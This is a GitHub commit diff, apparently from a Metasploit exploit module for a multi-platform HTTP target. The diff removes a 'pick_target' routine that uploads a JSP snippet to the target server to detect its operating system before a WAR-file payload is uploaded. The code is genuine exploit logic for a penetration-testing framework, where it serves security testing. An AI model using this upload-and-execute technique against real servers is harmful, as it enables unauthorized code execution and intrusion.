File tree Expand file tree Collapse file tree 1 file changed +0
-30
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +0
-30
lines changed Original file line number Diff line number Diff line change @@ -77,36 +77,6 @@ def check
77
77
end
78
78
79
79
80
- def pick_target
81
- unless target . name == 'Automatic'
82
- return target
83
- end
84
-
85
- print_status ( "#{ peer } - Determining target" )
86
- os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
87
- url = upload_payload ( os_finder_payload , false )
88
-
89
- res = send_request_cgi ( {
90
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , url ) ,
91
- 'method' => 'GET' ,
92
- 'cookie' => @cookie ,
93
- 'headers' => { 'Referer' => Rex ::Text . rand_text_alpha ( 10 + rand ( 10 ) ) }
94
- } )
95
-
96
- if res && res . code == 200
97
- if res . body . to_s =~ /Linux/
98
- register_files_for_cleanup ( 'webapps/' + url )
99
- return targets [ 1 ]
100
- elsif res . body . to_s =~ /Windows/
101
- register_files_for_cleanup ( 'root/' + url )
102
- return targets [ 2 ]
103
- end
104
- end
105
-
106
- nil
107
- end
108
-
109
-
110
80
def send_payload ( war_payload , tomcat_path , app_base )
111
81
# We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail
112
82
print_status ( "#{ peer } - Uploading WAR file..." )
You can’t perform that action at this time.
0 commit comments